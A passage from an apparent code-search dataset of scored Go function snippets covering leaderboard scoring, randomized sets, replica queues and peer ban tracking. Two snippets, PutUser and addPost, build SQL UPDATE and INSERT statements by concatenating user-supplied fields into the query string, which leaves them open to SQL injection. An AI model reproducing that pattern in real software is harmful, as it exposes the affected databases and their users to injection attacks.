db.Begin()\n\n\tsoupOfTheDay := getCreateSoupOfTheDay(tx)\n\tscore.SoupOfTheDay = soupOfTheDay\n\n\ttx.Create(score)\n\ttx.Commit()\n\n\treturn tx.Error\n}", "title": "" }, { "docid": "221241c2f124509072ed1ccfdba4ce2e", "score": "0.43895873", "text": "func (worker *Worker) insert(stats BlockStats) bool {\n\tdata := Data{\n\t\tVersion: CURRENT_VERSION_NUMBER,\n\t\tDashboardDataRow: stats.transformToDashboardData(),\n\t}\n\n\treturn worker.insertData(data)\n}", "title": "" }, { "docid": "d268d06708787b86fa2842e562f339ca", "score": "0.4386079", "text": "func (t *Tracker) increaseBanScore(conn net.Conn, haveLock bool) {\n\tif !haveLock {\n\t\tt.mutex.Lock()\n\t\tdefer t.mutex.Unlock()\n\t}\n\n\tip := getIP(conn)\n\n\tif _, ok := t.banData[ip]; ok {\n\t\tt.banData[ip].score += banScoreTick\n\t} else {\n\t\tt.banData[ip] = &banData{\n\t\t\tscore: banScoreTick,\n\t\t}\n\t}\n\n\tgo t.cleanupBan(ip)\n}", "title": "" }, { "docid": "302ec534b22ad8fa6226ad1c51a90dd8", "score": "0.43850327", "text": "func (this *RandomizedCollection) Insert(val int) bool {\n\tm, ok := this.index[val]\n\tif !ok {\n\t\tm = make(map[int]bool)\n\t}\n\tm[len(this.vals)] = true\n\tthis.index[val] = m\n\tthis.vals = append(this.vals, val)\n\treturn len(this.index[val]) == 1\n}", "title": "" }, { "docid": "dfec59b4096ef1ff13569442ad1c6eac", "score": "0.43775818", "text": "func (c *TeamClient) Add(ctx context.Context, name EntryName) error {\n\n\tvar tx store.Transaction = func(tc context.Context) error {\n\n\t\tentry, err := c.getEntry(ctx, name)\n\t\tif err != nil {\n\n\t\t\tif err != datastore.ErrNoSuchEntity {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tentry = &Entry{Name: name.String(), Score: 1}\n\t\t}\n\n\t\tentry.Score += 1\n\n\t\treturn c.putEntry(ctx, entry)\n\t}\n\n\treturn c.runTransaction(ctx, tx)\n}", "title": "" }, { "docid": "188f5dfe7ea37fd05f3e73bccd64cd0e", "score": "0.43747044", "text": "func PutUser(user model.User, db *sql.DB) (bool, error) {\n\tif _, err := db.Exec(\n\t\t\"UPDATE user_tb SET score = ('\" + user.Score + \"') WHERE id = '\" + user.UserID + \"'\"); err != nil {\n\t\treturn false, ErrUpdatingUser\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "35332b04fc994b8f64f06a768c01c2c7", "score": "0.43737575", "text": "func (l *SortedList) Remove(score interface{}, value interface{}) bool {\n\tif l.length == 0 {\n\t\treturn false\n\t}\n\tcur := l.head.next\n\tfor cur != l.rear {\n\t\tif cur.value == value && cur.score == score {\n\t\t\tcur.next.prev = cur.prev\n\t\t\tcur.prev.next = cur.next\n\t\t\tl.length--\n\t\t\tif cur.next != l.rear {\n\t\t\t\tif cur.next.value == value && cur.next.score == score {\n\t\t\t\t\tcur = cur.next\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t\tcur = cur.next\n\t}\n\treturn false\n}", "title": "" }, { "docid": "c505657239281ed6dc92853c14f37a12", "score": "0.43722552", "text": "func (hu *HeightUpgrade) IsPost(name HeightName, height uint64) bool {\n\tvar h uint64\n\tswitch name {\n\tcase Pacific:\n\t\th = hu.pacificHeight\n\tcase Aleutian:\n\t\th = hu.aleutianHeight\n\tcase Bering:\n\t\th = hu.beringHeight\n\tcase Cook:\n\t\th = hu.cookHeight\n\tcase Dardanelles:\n\t\th = hu.dardanellesHeight\n\tcase Daytona:\n\t\th = hu.daytonaHeight\n\tcase Easter:\n\t\th = hu.easterHeight\n\tcase Fairbank:\n\t\th = hu.fairbankHeight\n\tcase FbkMigration:\n\t\th = hu.fbkMigrationHeight\n\tcase Greenland:\n\t\th = hu.greanlandHeight\n\tcase Hawaii:\n\t\th = hu.hawaiiHeight\n\tdefault:\n\t\tlog.Panic(\"invalid height name!\")\n\t}\n\treturn height >= h\n}", "title": "" }, { "docid": "8ca3c1986344b90ab68666f01ff1abbd", "score": "0.437162", "text": "func (this *RandomizedCollection) Insert(val int) bool {\n\tthis.data = append(this.data, val)\n\tif _, ok := this.index[val]; !ok {\n\t\tthis.index[val] = map[int]bool{len(this.data) - 1:true}\n\t\treturn true\n\t} else {\n\t\tthis.index[val][len(this.data)-1] = true\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "747564a83db60acbe4c1778481f5e2ae", "score": "0.43596286", "text": "func (r Result) Supersedes(c Result) bool {\n\tif r.Weight > c.Weight {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "c3cd4b1eb99cd4b1fcfcbb26535a36d5", "score": "0.43469948", "text": "func (bq *baseQueue) addInternal(\n\tctx context.Context, desc *multiraftbase.GroupDescriptor, should bool, priority float64,\n) (bool, error) {\n\tif bq.mu.stopped {\n\t\treturn false, errQueueStopped\n\t}\n\n\tif bq.mu.disabled {\n\t\thelper.Printf(5, \"queue disabled\")\n\t\treturn false, errQueueDisabled\n\t}\n\n\tif !desc.IsInitialized() {\n\t\t// We checked this above in MaybeAdd(), but we need to check it\n\t\t// again for Add().\n\t\treturn false, errors.New(\"replica not initialized\")\n\t}\n\n\t// If the replica is currently in purgatory, don't re-add it.\n\tif _, ok := bq.mu.purgatory[desc.GroupID]; ok {\n\t\treturn false, nil\n\t}\n\n\t// Note that even though the caller said not to queue the replica, we don't\n\t// want to remove it if it's already been queued. It may have been added by\n\t// a queuer that knows more than this one.\n\tif !should {\n\t\treturn false, errReplicaNotAddable\n\t}\n\n\titem, ok := bq.mu.replicas[desc.GroupID]\n\tif ok {\n\t\t// Replica has already been added but at a lower priority; update priority.\n\t\t// Don't lower it since the previous queuer may have known more than this\n\t\t// one does.\n\t\tif priority > item.priority {\n\t\t\thelper.Printf(5, \"updating priority: %0.3f -> %0.3f\", item.priority, priority)\n\t\t\tbq.mu.priorityQ.update(item, priority)\n\t\t}\n\t\treturn false, nil\n\t}\n\n\titem = &replicaItem{value: desc.GroupID, priority: priority}\n\tbq.add(item)\n\n\t// If adding this replica has pushed the queue past its maximum size,\n\t// remove the lowest priority element.\n\tif pqLen := bq.mu.priorityQ.Len(); pqLen > bq.maxSize {\n\t\tbq.remove(bq.mu.priorityQ[pqLen-1])\n\t}\n\t// Signal the processLoop that a replica has been added.\n\tselect {\n\tcase bq.incoming <- struct{}{}:\n\tdefault:\n\t\t// No need to signal again.\n\t}\n\treturn true, nil\n}", "title": "" }, { "docid": "43410ef4721c0afa32983986adab50aa", "score": "0.43460292", "text": "func UpsertMemberScoreHandler(app *App) func(c echo.Context) error {\n\treturn func(c echo.Context) error {\n\t\tleaderboardID := c.Param(\"leaderboardID\")\n\t\tmemberPublicID := c.Param(\"memberPublicID\")\n\t\tlg := app.Logger.With(\n\t\t\tzap.String(\"handler\", \"UpsertMemberScoreHandler\"),\n\t\t\tzap.String(\"leaderboard\", leaderboardID),\n\t\t)\n\n\t\tvar payload setScorePayload\n\t\tprevRank := false\n\t\tprevRankStr := c.QueryParam(\"prevRank\")\n\t\tif prevRankStr != \"\" && prevRankStr == \"true\" {\n\t\t\tprevRank = true\n\t\t}\n\t\tscoreTTL := c.QueryParam(\"scoreTTL\")\n\n\t\terr := WithSegment(\"Payload\", c, func() error {\n\t\t\tb, err := GetRequestBody(c)\n\t\t\tif err != nil {\n\t\t\t\tapp.AddError()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif _, err := jsonparser.GetInt(b, \"score\"); err != nil {\n\t\t\t\tapp.AddError()\n\t\t\t\tif _, t, _, err := jsonparser.Get(b, \"score\"); err == nil {\n\t\t\t\t\treturn fmt.Errorf(\"invalid type for score: %v\", t)\n\t\t\t\t}\n\t\t\t\treturn fmt.Errorf(\"score is required\")\n\t\t\t}\n\t\t\tif err := LoadJSONPayload(&payload, c, lg); err != nil {\n\t\t\t\tapp.AddError()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn FailWith(400, err.Error(), c)\n\t\t}\n\n\t\tvar member *leaderboard.Member\n\t\terr = WithSegment(\"Model\", c, func() error {\n\t\t\tl := leaderboard.NewLeaderboard(app.RedisClient.Trace(c.StdContext()), leaderboardID, 0, lg)\n\t\t\tmember, err = l.SetMemberScore(memberPublicID, payload.Score, prevRank, scoreTTL)\n\n\t\t\tif err != nil {\n\t\t\t\tapp.AddError()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn FailWithError(err, c)\n\t\t}\n\t\treturn SucceedWith(serializeMember(member, -1, scoreTTL != \"\"), c)\n\t}\n}", "title": "" }, { "docid": "154309ce8af70331029355942fc327db", "score": "0.43392575", "text": "func (c *pawnsTable) put(lock uint64, white, black Accum) {\n\tindx := lock & uint64(len(*c)-1)\n\tc[indx] = pawnsEntry{lock, white, black}\n}", "title": "" }, { "docid": "591c92d5efb824b9b4ec045dc3779660", "score": "0.4339066", "text": "func (n *Node) AddPeerScore(id peer.ID, tag string, diff int) {\n\tn.connManager.UpsertTag(id, tag, func(current int) int { return current + diff })\n}", "title": "" }, { "docid": "96634677eb8c5f0091f008ca5863222b", "score": "0.43246743", "text": "func (this *RandomizedSet) Insert(val int) bool {\n\tif _, ok := this.set[val]; ok {\n\t\treturn false\n\t} else {\n\t\tthis.nums = append(this.nums, val)\n\t\tthis.set[val] = len(this.nums) - 1\n\t\treturn true\n\t}\n}", "title": "" }, { "docid": "a513c41e2b84d25d62f272c7ffe67db4", "score": "0.432352", "text": "func (eg *EntryGroup) AddEntry(ts uint64, entry *model.RawKVEntry) {\n\ti := sort.Search(len(eg.sortedTs), func(i int) bool { return eg.sortedTs[i] >= ts })\n\tif i < len(eg.sortedTs) && eg.sortedTs[i] == ts {\n\t\teg.entriesMap[ts] = append(eg.entriesMap[ts], entry)\n\t} else {\n\t\teg.sortedTs = append(eg.sortedTs, 0)\n\t\tcopy(eg.sortedTs[i+1:], eg.sortedTs[i:])\n\t\teg.sortedTs[i] = ts\n\t\teg.entriesMap[ts] = []*model.RawKVEntry{entry}\n\t}\n}", "title": "" }, { "docid": "56b57b658ba575164592dd0ca30de9d0", "score": "0.43201748", "text": "func (g *BoardsMetaSubmissionAddresses) Add(w http.ResponseWriter, r *http.Request) {\n\tbpk, e := misc.GetPubKey(r.FormValue(\"board\"))\n\tif e != nil {\n\t\tsend(w, e.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\taddress := r.FormValue(\"address\")\n\tif address == \"\" {\n\t\tsend(w, \"no submission address provided\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif e := g.add(bpk, address); e != nil {\n\t\tsend(w, e.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\tsend(w, true, http.StatusOK)\n}", "title": "" }, { "docid": "df3674bc10adb6ce5c8c989435c627f6", "score": "0.4318553", "text": "func (nodeQueue *NodeQueue) checkEntryAndMoveToEnd(nodeID string) (isNewAddition bool) {\n\tmatchedIndex := -1\n\tarraySize := len(nodeQueue.queue)\n\tfor index := arraySize - 1; index >= 0; index-- {\n\t\tentry := nodeQueue.queue[index]\n\t\tif entry == nodeID {\n\t\t\tmatchedIndex = index\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif matchedIndex == nodeIDArrayMaxLength-1 {\n\t\treturn false\n\t} else if matchedIndex > 0 {\n\t\tnodeQueue.queue = append(nodeQueue.queue[0:matchedIndex], nodeQueue.queue[matchedIndex+1:]...)\n\t\tnodeQueue.queue = append(nodeQueue.queue, nodeID)\n\t\treturn false\n\t}\n\tif arraySize >= nodeIDArrayMaxLength {\n\t\tnodeQueue.queue = nodeQueue.queue[1:]\n\t}\n\tnodeQueue.queue = append(nodeQueue.queue, nodeID)\n\treturn true\n}", "title": "" }, { "docid": "c2cb084cd92ee38380f47e493efae72c", "score": "0.4317636", "text": "func addPost(idUser int, post Post) bool {\n\tstatus := true\n\n\t_, err := database.Exec(\"INSERT INTO post (id_user, image, animal_name, description, location, checked, timestamp) VALUES (\" + strconv.Itoa(idUser) + \", '\" + post.Image + \"', '\" + post.AnimalName + \"', '\"+ post.Description +\"', '\"+ post.Location +\"', \"+ strconv.Itoa(-1)+\" ,\"+ strconv.Itoa(post.Timestamp) +\")\")\n\n\tif err != nil {\n\t\tstatus = false\n\t\tpanic(err.Error())\n\t}\n\n\treturn status\n}", "title": "" }, { "docid": "aa0b0369a00e763542fdd9c7f019ef32", "score": "0.43166196", "text": "func (this *RandomizedCollection) Insert(val int) bool {\n\tnotFound := false\n\tif _, ok := this.Data[val]; !ok {\n\t\tthis.Data[val] = map[int]bool{}\n\t\tnotFound = true\n\t}\n\tthis.Index = append(this.Index, val)\n\tthis.Data[val][len(this.Index)-1] = true\n\treturn notFound\n}", "title": "" }, { "docid": "2d36b08a95d25ede841e72eef656a61b", "score": "0.43148446", "text": "func Score(hand ...deck.Card) int {\n\tmin := minScore(hand...)\n\tif min > 11 {\n\t\treturn min\n\t}\n\n\tfor _, c := range hand {\n\t\tif c.Rank == deck.Ace {\n\t\t\t// ace is currently worth 1, and we are changing it to be worth 11\n\t\t\treturn min + 10\n\t\t}\n\t}\n\n\treturn min\n}", "title": "" }, { "docid": "ec574fcf65ac592d975a9641d1d029b6", "score": "0.43140018", "text": "func (scene *Scene) Hit(r *vmath.Ray, tmin float64, tmax float64, rec *material.HitRecord) bool {\n\n\tvar hitAnything = false\n\tvar closestSoFar = tmax\n\tvar tempRec = material.NewHitRecord()\n\n\tfor i := 0; i < len(scene.List); i++ {\n\t\tif scene.List[i].Hit(r, tmin, closestSoFar, tempRec) {\n\t\t\thitAnything = true\n\t\t\tclosestSoFar = tempRec.T\n\t\t\trec.Copy(tempRec)\n\t\t}\n\t}\n\n\treturn hitAnything\n}", "title": "" }, { "docid": "5623f2d8c17637f066f2fbee1b51c282", "score": "0.43128026", "text": "func (m *RecommendationsMutation) AddedPriority() (r int, exists bool) {\n\tv := m.addpriority\n\tif v == nil {\n\t\treturn\n\t}\n\treturn *v, true\n}", "title": "" }, { "docid": "c61148d1510f9ea6833e0d7e98045ebc", "score": "0.43039423", "text": "func (this *RandomizedSet) Insert(val int) bool {\n\tif _, ok := this.m[val]; ok {\n\t\treturn false\n\t}\n\n\tif this.lastIdx+1 >= len(this.nums) {\n\t\tthis.nums = append(this.nums, val)\n\t} else {\n\t\tthis.nums[this.lastIdx+1] = val\n\t}\n\n\tthis.m[val] = this.lastIdx + 1\n\tthis.lastIdx++\n\treturn true\n}", "title": "" }, { "docid": "1182929cf8452c9b8dedb3f1a0dfd185", "score": "0.42993623", "text": "func (this *RandomizedSet) Insert(val int) bool {\n\tif _, ok := this.m[val]; !ok {\n\t\tthis.val = append(this.val, val)\n\t\tthis.m[val] = len(this.val) - 1\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "5f91f7958f7a054a20c4ffd15769227b", "score": "0.4299201", "text": "func (mc *cache) Add(mr *MessageRow) bool {\n\tmc.mu.Lock()\n\tdefer mc.mu.Unlock()\n\tif len(mc.sendQueue) >= mc.size {\n\t\treturn false\n\t}\n\tid := mr.Row[0].ToString()\n\tif mc.inFlight[id] {\n\t\treturn true\n\t}\n\tif _, ok := mc.inQueue[id]; ok {\n\t\treturn true\n\t}\n\theap.Push(&mc.sendQueue, mr)\n\tmc.inQueue[id] = mr\n\treturn true\n}", "title": "" }, { "docid": "607a22895f84e5c6371723724b64a91d", "score": "0.4295278", "text": "func (game *Game) exceedsRowLimits(row int) bool {\n\tif game.Guess.CountRow(row, common.Positive) > game.CountRow(row, common.Positive) {\n\t\treturn true\n\t}\n\n\tif game.Guess.CountRow(row, common.Negative) > game.CountRow(row, common.Negative) {\n\t\treturn true\n\t}\n\n\tif game.Guess.CountRow(row, common.Neutral)+game.Guess.CountRow(row, common.Wall) > game.CountRow(row, common.Neutral) {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "fd19c5edebb54fe81b716ac4f42bf897", "score": "0.42832404", "text": "func (ph *peerHeap) updatePeer(peerScore *peerScore) {\n\theap.Fix(ph, peerScore.index)\n}", "title": "" } ]
f16e89a3851e8b81d657e09c7451e320
statusKey returns the key of task status
[ { "docid": "a6fae144a66cd78e56722816cdc5d8cf", "score": "0.7680865", "text": "func (c *controller) statusKey(kind Kind, name string) string {\n\treturn fmt.Sprintf(\"%s/status/kinds/%s/names/%s\", c.keyPrefix, kind, name)\n}", "title": "" } ]
[ { "docid": "40f9f4a0cd1bb9445dfb18cdce020505", "score": "0.8053126", "text": "func statusKey(code int) string {\n\treturn fmt.Sprintf(\"#STATUS_%d#\", code)\n}", "title": "" }, { "docid": "df5abaa62a731fb1a31e56e2fa109df0", "score": "0.7381208", "text": "func StatusKey(repo, branch string) string {\n\treturn StatusesKeyPrefix + repo + \"/\" + branch\n}", "title": "" }, { "docid": "6ca187258ecbf4746eaef95cb2da8ea5", "score": "0.6798923", "text": "func NodeStatusKey(nodeID int32) roachpb.Key {\n\treturn MakeKey(StatusNodePrefix, encoding.EncodeUvarint(nil, uint64(nodeID)))\n}", "title": "" }, { "docid": "3b7e3aa38f35945866016ac39cb862a4", "score": "0.6779761", "text": "func (l *Layout) StatusObjectKey(name string) string {\n\treturn fmt.Sprintf(statusObjectFormat, name, l.memberName)\n}", "title": "" }, { "docid": "020b63c5080027915660fb5dbec38a02", "score": "0.6611757", "text": "func (status ResolveStatus) Key() string {\n\treturn fmt.Sprintf(\"%s+%s+%v\", status.DatastoreID.String(), status.Name, status.Counter)\n}", "title": "" }, { "docid": "459b07e5909e1358400cdf36187f1119", "score": "0.66057134", "text": "func (status OnboardingStatus) Key() string {\n\treturn \"global\"\n}", "title": "" }, { "docid": "76ecca6fcab1251bb636fa99c9d673d6", "score": "0.6451916", "text": "func (l *Layout) StatusMemberKey() string {\n\treturn fmt.Sprintf(statusMemberFormat, l.memberName)\n}", "title": "" }, { "docid": "d61afc56b91b8e7a78f5d0b17d585864", "score": "0.64117295", "text": "func (status VolumeRefStatus) Key() string {\n\treturn fmt.Sprintf(\"%s#%d\", status.VolumeID.String(),\n\t\tstatus.GenerationCounter+status.LocalGenerationCounter)\n}", "title": "" }, { "docid": "0eee4f9398914f609be8f16caa689dee", "score": "0.6398367", "text": "func (status VolumeStatus) Key() string {\n\treturn fmt.Sprintf(\"%s#%d\", status.VolumeID.String(),\n\t\tstatus.GenerationCounter+status.LocalGenerationCounter)\n}", "title": "" }, { "docid": "7f8499e6262804a32987669a6d7f257c", "score": "0.6388146", "text": "func (c *controller) taskKey(kind Kind, name, nodeID string) string {\n\treturn fmt.Sprintf(\"%s/executor/%s/kinds/%s/names/%s\", c.keyPrefix, nodeID, kind, name)\n}", "title": "" }, { "docid": "38ee87a7e1f9835eee0c2738de6ee864", "score": "0.6372871", "text": "func TaskKey(qname, id string) string {\n\treturn fmt.Sprintf(\"%s%s\", TaskKeyPrefix(qname), id)\n}", "title": "" }, { "docid": "0b4005a2a073cde1a3570c93b8aecd4a", "score": "0.6238521", "text": "func (status ZVolStatus) Key() string {\n\treturn strings.ReplaceAll(status.Dataset, \"/\", \"_\")\n}", "title": "" }, { "docid": "351d9671e6c27c4bdf8b22f6a52386ba", "score": "0.62328607", "text": "func (status DeviceNetworkStatus) Key() string {\n\treturn \"global\"\n}", "title": "" }, { "docid": "d9ed21b799837c2a235a3351c263ebef", "score": "0.6155864", "text": "func (status VolumeCreatePending) Key() string {\n\treturn fmt.Sprintf(\"%s#%d\", status.VolumeID.String(),\n\t\tstatus.GenerationCounter+status.LocalGenerationCounter)\n}", "title": "" }, { "docid": "fcb1ba7951f9da82325248685626dfd6", "score": "0.6097514", "text": "func (t *Task) Status() string {\n\tt.activeMu.Lock()\n\tdefer t.activeMu.Unlock()\n\tif t.ActiveTask != nil {\n\t\treturn \"Running\"\n\t}\n\treturn \"Stopped\"\n}", "title": "" }, { "docid": "9febb795c81eb13b26fd589204f1cf8c", "score": "0.6090006", "text": "func mainAdminKMSKeyStatus(ctx *cli.Context) error {\n\tif len(ctx.Args()) == 0 || len(ctx.Args()) > 2 {\n\t\tcli.ShowCommandHelpAndExit(ctx, \"status\", 1) // last argument is exit code\n\t}\n\n\tconsole.SetColor(\"StatusSuccess\", color.New(color.FgGreen, color.Bold))\n\tconsole.SetColor(\"StatusError\", color.New(color.FgRed, color.Bold))\n\n\tclient, err := newAdminClient(ctx.Args().Get(0))\n\tfatalIf(err, \"Unable to get a configured admin connection.\")\n\n\tvar keyID string\n\tif len(ctx.Args()) == 2 {\n\t\tkeyID = ctx.Args().Get(1)\n\t}\n\tstatus, e := client.GetKeyStatus(globalContext, keyID)\n\tfatalIf(probe.NewError(e), \"Failed to get status information\")\n\n\tprintMsg(kmsKeyStatusMsg{\n\t\tKeyID: status.KeyID,\n\t\tEncryption: status.EncryptionErr == \"\",\n\t\tDecryption: status.DecryptionErr == \"\",\n\t\tEncryptionErr: status.EncryptionErr,\n\t\tDecryptionErr: status.DecryptionErr,\n\t})\n\treturn nil\n}", "title": "" }, { "docid": "82ab991fb56ec6cb8737e63057be97bc", "score": "0.60896325", "text": "func provisionStatusElectronKey(os, arch string) string {\n\treturn fmt.Sprintf(\"%s-%s\", os, arch)\n}", "title": "" }, { "docid": "9321fd0c77d153ad4e9f4312f8edad77", "score": "0.6076761", "text": "func StoreStatusKey(storeID int32) roachpb.Key {\n\treturn MakeKey(StatusStorePrefix, encoding.EncodeUvarint(nil, uint64(storeID)))\n}", "title": "" }, { "docid": "837b9abd3f687901987643163821a1a3", "score": "0.6063974", "text": "func (o KeySigningKeyOutput) Status() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *KeySigningKey) pulumi.StringPtrOutput { return v.Status }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "290ca2acee5ffc7e5f8fd4e37e45aa3c", "score": "0.6055699", "text": "func (status VolumesSnapshotStatus) Key() string {\n\treturn status.SnapshotID\n}", "title": "" }, { "docid": "04aef5132d1593a665ef238f32418d4c", "score": "0.6037741", "text": "func (tm TasksManager)GetStatusTask(id string)int8{\n\tif !strings.Contains(id,\":\") {\n\t\treturn StatusError\n\t}\n\turlNode := id[:strings.LastIndex(id,\":\")]\n\t// case of local task\n\tif tm.url == urlNode {\n\t\tif task, ok := tm.tasks[id]; ok {\n\t\t\treturn task.GetInfo().Status\n\t\t}\n\t\tif task, ok := tm.finishedTasks[id]; ok {\n\t\t\treturn task.GetInfo().Status\n\t\t}\n\t\treturn StatusNotFound\n\t}\n\t//ask distant server\n\tnode := tm.nodes[urlNode]\n\treturn node.GetStatusTask(id)\n}", "title": "" }, { "docid": "25c686789b9997be2f0d95e6e1b593c8", "score": "0.6006932", "text": "func mainAdminKMSKeyStatus(ctx *cli.Context) error {\n\tif len(ctx.Args()) == 0 || len(ctx.Args()) > 2 {\n\t\tcli.ShowCommandHelpAndExit(ctx, \"status\", 1) // last argument is exit code\n\t}\n\n\tclient, err := newAdminClient(ctx.Args().Get(0))\n\tfatalIf(err, \"Unable to get a configured admin connection.\")\n\n\tvar keyID string\n\tif len(ctx.Args()) == 2 {\n\t\tkeyID = ctx.Args().Get(1)\n\t}\n\tstatus, e := client.GetKeyStatus(globalContext, keyID)\n\tfatalIf(probe.NewError(e), \"Failed to get status information\")\n\n\tprintMsg(kmsKeyStatusMsg(*status))\n\treturn nil\n}", "title": "" }, { "docid": "6e55cdfc785c2549d0d706de48a739d1", "score": "0.5958218", "text": "func (ts TaskStatus) String() string {\n\tfor k, v := range taskStatusMap {\n\t\tif v == ts {\n\t\t\treturn k\n\t\t}\n\t}\n\treturn \"NONE\"\n}", "title": "" }, { "docid": "60cda7c18a041cac347ae7467095522f", "score": "0.5930047", "text": "func (c *AllocStatusCommand) shortTaskStatus(alloc *api.Allocation) {\n\ttasks := make([]string, 0, len(alloc.TaskStates)+1)\n\ttasks = append(tasks, \"Name|State|Last Event|Time\")\n\tfor task := range c.sortedTaskStateIterator(alloc.TaskStates) {\n\t\tstate := alloc.TaskStates[task]\n\t\tlastState := state.State\n\t\tvar lastEvent, lastTime string\n\n\t\tl := len(state.Events)\n\t\tif l != 0 {\n\t\t\tlast := state.Events[l-1]\n\t\t\tlastEvent = last.Type\n\t\t\tlastTime = formatUnixNanoTime(last.Time)\n\t\t}\n\n\t\ttasks = append(tasks, fmt.Sprintf(\"%s|%s|%s|%s\",\n\t\t\ttask, lastState, lastEvent, lastTime))\n\t}\n\n\tc.Ui.Output(c.Colorize().Color(\"\\n[bold]Tasks[reset]\"))\n\tc.Ui.Output(formatList(tasks))\n}", "title": "" }, { "docid": "014727ddca97d49e079375352703f478", "score": "0.59004474", "text": "func TaskKey(jobID int64) string {\n\treturn fmt.Sprintf(\"%s/%d\", proto.ImportInto, jobID)\n}", "title": "" }, { "docid": "ec20281aa2e3d0a9d8ff76769f1c6ea9", "score": "0.58807355", "text": "func getStatusName(status int) (name string){\n\tswitch status {\n\t\tcase 0:\n\t\t\tname = \"Pending\"\n\t\tcase 1:\n\t\t\tname = \"Delivered\"\n\t\tcase 2:\n\t\t\tname = \"Read\"\n\t\tdefault:\n\t\t\tname = \"Undefined\"\n\t\t}\n\treturn name\n}", "title": "" }, { "docid": "8fe7d6f72900e6424ae1433147e33037", "score": "0.58286005", "text": "func stateKey(id string, jobid string) string {\n\treturn fmt.Sprintf(\"/state/%s/job/%s\", id, jobid)\n}", "title": "" }, { "docid": "d3a42bb71df6890f9e6a62b9a3e052c0", "score": "0.5825562", "text": "func (e TaskValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "19f262bbe7b3560709428c7965d457ea", "score": "0.57947046", "text": "func (t *Task) GetStatus(context.Context) string {\n\tvar str string\n\tfor _, v := range t.Errlist {\n\t\tif v == nil {\n\t\t\tcontinue\n\t\t}\n\t\tstr += v.t.String() + \":\" + v.errinfo + \"<br>\"\n\t}\n\treturn str\n}", "title": "" }, { "docid": "0425f3667fe99839f3eba618b182fa19", "score": "0.576106", "text": "func FormatTaskKey(t string) []byte {\n\treturn []byte(KeyTaskPrefix + t)\n}", "title": "" }, { "docid": "a7754c03872c85dd0b804fa2f17bbe17", "score": "0.572931", "text": "func (task *Task) CurrentStatus() TaskState {\n\tif len(task.Status) == 0 {\n\t\treturn \"\"\n\t}\n\treturn task.Status[len(task.Status)-1].Status\n}", "title": "" }, { "docid": "ef3698ec07d7efd7d19fb3ee36c5f7ac", "score": "0.5720803", "text": "func (m *TodoTask) GetStatus()(*TaskStatus) {\n val, err := m.GetBackingStore().Get(\"status\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*TaskStatus)\n }\n return nil\n}", "title": "" }, { "docid": "a5d23b014e40b558db7adf317ab71080", "score": "0.5708101", "text": "func (s *SchedulerService) Status(taskID string) (*string, error) {\n\tif s.Scheduler != nil {\n\t\tstatus, err := s.Scheduler.Status(taskID)\n\t\treturn &status, err\n\t}\n\treturn nil, fmt.Errorf(\"cannot get the status of a task while the scheduler is stopped\")\n}", "title": "" }, { "docid": "3a32bc340ecb139f225544db84ff5d3b", "score": "0.5696024", "text": "func (o *OpenapiTaskGenerationResultAllOf) GetTaskStatus() string {\n\tif o == nil || o.TaskStatus == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.TaskStatus\n}", "title": "" }, { "docid": "6a244fb471126080d9fb7d83bbd9ccc6", "score": "0.5634936", "text": "func (e ServerStatusRequestValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "4aeb69b9f61c2410eaaa57b83b022382", "score": "0.56244516", "text": "func (a *agoraFuncVal) status() string {\n\tif a.ktx.IsRunning(a) {\n\t\treturn \"running\"\n\t} else if a.coroState != nil {\n\t\treturn \"suspended\"\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "c1a88ea99cab585e1f893da5dd0a5966", "score": "0.56161356", "text": "func (adm *AdminClient) GetKeyStatus(keyID string) (*KMSKeyStatus, error) {\n\t// GET /minio/admin/v2/kms/key/status?key-id=<keyID>\n\tqv := url.Values{}\n\tqv.Set(\"key-id\", keyID)\n\treqData := requestData{\n\t\trelPath: adminAPIPrefix + \"/kms/key/status\",\n\t\tqueryValues: qv,\n\t}\n\n\tresp, err := adm.executeMethod(\"GET\", reqData)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer closeResponse(resp)\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, httpRespToErrorResponse(resp)\n\t}\n\tvar keyInfo KMSKeyStatus\n\tif err = json.NewDecoder(resp.Body).Decode(&keyInfo); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &keyInfo, nil\n}", "title": "" }, { "docid": "548dd5bafab0c4c95af7eb3cf0edf714", "score": "0.55900455", "text": "func PendingKey(qname string) string {\n\treturn fmt.Sprintf(\"%spending\", QueueKeyPrefix(qname))\n}", "title": "" }, { "docid": "b248bddf7dc0935b54b25cfdbb41a9b1", "score": "0.55781233", "text": "func getStatusTick(rule lifecycle.Rule) string {\n\tstatusTick := crossTickCell\n\tif rule.Status == statusLabelKey {\n\t\tstatusTick = tickCell\n\t}\n\treturn statusTick\n}", "title": "" }, { "docid": "bb9568552b21b8679c96423e23ad5986", "score": "0.55661315", "text": "func (taskHandle *localTaskHandle) Status() TaskState {\n\tif !taskHandle.isTerminated() {\n\t\treturn RUNNING\n\t}\n\n\treturn TERMINATED\n}", "title": "" }, { "docid": "181e7e6c857a113c73cf84019377c9b0", "score": "0.5564299", "text": "func (ts *TaskStatus) BackendStatus() string {\n\tswitch *ts {\n\tcase TaskRunning:\n\t\tfallthrough\n\tcase TaskStopped:\n\t\treturn 